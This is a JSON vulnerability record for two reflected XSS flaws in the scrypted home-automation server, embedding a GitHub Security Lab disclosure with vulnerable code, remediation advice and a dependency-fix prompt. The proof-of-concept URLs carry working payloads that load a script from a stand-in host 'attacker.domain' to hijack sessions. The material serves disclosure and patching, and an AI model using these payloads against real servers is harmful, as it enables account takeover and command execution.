{"answers":{"affected":"4 open source packages ship an affected version, including @scrypted/core and @scrypted/server.","exploited":"There is no known exploitation of GHSA-w4hv-vmv9-hgcr in the wild and no public exploit code.","fix":"No fix has been published for GHSA-w4hv-vmv9-hgcr yet. Limit exposure of the affected software until one is available.","what":"GHSA-w4hv-vmv9-hgcr is a cross-site scripting vulnerability in @scrypted/core, published on 16 Feb 2024. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-w4hv-vmv9-hgcr and fix it if it is affected.\n\nWhat it is: GHSA-w4hv-vmv9-hgcr is a cross-site scripting vulnerability in @scrypted/core, published on 16 Feb 2024. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-w4hv-vmv9-hgcr in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @scrypted/core (npm): affected all versions up to 0.1.142; no fix listed\n- @scrypted/core (npm): affected all versions up to 0.1.142; no fix listed\n- @scrypted/server (npm): affected all versions up to 0.56.0; no fix listed\n- @scrypted/server (npm): affected all versions up to 0.56.0; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-w4hv-vmv9-hgcr/ (Markdown: https://insights.sbomify.com/GHSA-w4hv-vmv9-hgcr/index.md)","id":"GHSA-w4hv-vmv9-hgcr","markdown":"https://insights.sbomify.com/GHSA-w4hv-vmv9-hgcr/index.md","name":"GHSA-w4hv-vmv9-hgcr","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["account_takeover","code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"scrypted home automation","requires_auth":"none","summary":"Reflected XSS in scrypted allows attackers to impersonate users, including administrators, via crafted links, potentially leading to arbitrary command execution.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"# GitHub Security Lab (GHSL) Vulnerability Report, scrypted: `GHSL-2023-218`, `GHSL-2023-219`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [scrypted](https://github.com/koush/scrypted).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2023-218` or `GHSL-2023-219` as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nTwo refelcted Cross-Site Scripting (XSS) vulnerabilities exist in scrypted that may allow an attacker to impersonate any user who clicks on specially crafted links. In the worst case, an attacker may be able to impersonate an administrator and run arbitrary commands.\n\n## Project\n\nscrypted\n\n## Tested Version\n\n[v55.0](https://github.com/koush/scrypted/releases/tag/v0.55.0)\n\n## Details\n\n### Issue 1: reflected XSS in [`plugin-http.ts`](https://github.com/koush/scrypted/blob/71cbe83a2a20f743342df695ca7b98482b73e60f/server/src/plugin/plugin-http.ts#L45) (`GHSL-2023-218`)\n\nThe `owner` and `pkg` parameters are reflected back in the response when the endpoint is not found, allowing for a reflected XSS vulnerability.\n\n```javascript\nconst { owner, pkg } = req.params;\n        let endpoint = pkg;\n        if (owner)\n            endpoint = `@${owner}/${endpoint}`;\n        const pluginData = await this.getEndpointPluginData(req, endpoint, isUpgrade, isEngineIOEndpoint);\n\n        if (!pluginData) {\n            end(404, `Not Found (plugin or device \"${endpoint}\" not found)`);\n            return;\n        }\n\n```\n\n#### Impact\n\nThis issue may lead to `Remote Code Execution`.\n\n#### Remediation\n\nIn order to remediate, ensure that parameters are not reflected back in the response. In addition, on error responses where html is unnecessary, set the `text/plain` Content-Type to prevent XSS (express defaults to text/html).\n\n#### Resources\n\nProof of Concept:\n\nThe following url will create a script tag in the current document which will load `attacker.domain/rce.js`. This JavaScript file can then be used to communicate with the server over HTTP via RPC, and send some requests to get the `nativeId` and `proxyID` for the `automation:update-plugins` and achieve the ability to run shell commands at a specified time.\n\nhttps://localhost:10443/endpoint/%3Cimg%20src%20onerror=a=document.createElement('script');a.setAttribute('src',document.location.hash.substr(1));document.head.appendChild(a)%3E/pkg#//attacker.domain/rce.js\n\nIn the browser, you should see the script element be created with the src as `https://attacker.domain/rce.js`.\n\n### Issue 2: reflected XSS in [`plugins/core/ui/src/Login.vue`](https://github.com/koush/scrypted/blob/v0.55.0/plugins/core/ui/src/Login.vue#L79) (`GHSL-2023-219`)\n\nA reflected XSS vulnerability exists in the login page via the `redirect_uri` parameter. By specifying a url with the javascript scheme (`javascript:`), an attacker can run arbitrary JavaScript code after the login.\n\n```javascript\n  try {\n          const redirect_uri = new URL(window.location).searchParams.get('redirect_uri');\n          if (redirect_uri) {\n            window.location = redirect_uri;\n            return;\n          }\n\n        }\n```\n\n#### Impact\n\nThis issue may lead to `Remote Code Execution`.\n\n#### Remediation\n\nIn order to remediate, ensure user-controlled data is not placed into the DOM. Additionally, this is also an open redirect vulnerability because the url is not validated and a user may be redirected to an attacker controlled website after logging in, not knowing they have left the actual real  website. If this redirect_uri parameter is supposed to only redirect to the current website/domain, please incorporate a check that it is only redirecting to the current domain.\n\n#### Resources\nProof of Concept:\n\nWhen the user is not logged in, send a link to the server with the parameter:\n\n `redirect_uri=javascript:var script = document.createElement('script');script.src = 'https://attacker.domain'; document.head.appendChild(script);`\n\nat the end of the uri (but before the #).\n\nExample: `https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//`\n\nSimilar to Proof of Concept 1 this will load a JavaScript file which can make authenticated requests to the server, possibly leading to RCE.\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThese issues were discovered and reported by GHSL team member [@Kwstubbs (Kevin Stubbings)](https://github.com/Kwstubbs).\nThis vulnerability was found with the help of [CodeQL Reflected XSS query](https://codeql.github.com/codeql-query-help/javascript/js-reflected-xss/).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2023-218` or `GHSL-2023-219` in any communication regarding these issues.\n\n## Disclosure Policy\n\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"GitHub Security Lab (GHSL) Vulnerability Report, scrypted: `GHSL-2023-218`, `GHSL-2023-219`","id":"GHSA-w4hv-vmv9-hgcr","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"xss","year":"2024"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.1.142"],"package":"@scrypted/core","purl":null,"source":"GHSA-w4hv-vmv9-hgcr"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.1.142"],"package":"@scrypted/core","purl":"pkg:npm/%40scrypted/core","source":"GHSA-w4hv-vmv9-hgcr"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.56.0"],"package":"@scrypted/server","purl":null,"source":"GHSA-w4hv-vmv9-hgcr"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":["0.56.0"],"package":"@scrypted/server","purl":"pkg:npm/%40scrypted/server","source":"GHSA-w4hv-vmv9-hgcr"}],"products":null,"published":"2024-02-16","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Reflected XSS in scrypted allows attackers to impersonate users, including administrators, via crafted links, potentially leading to arbitrary command execution.","url":"https://insights.sbomify.com/GHSA-w4hv-vmv9-hgcr/"}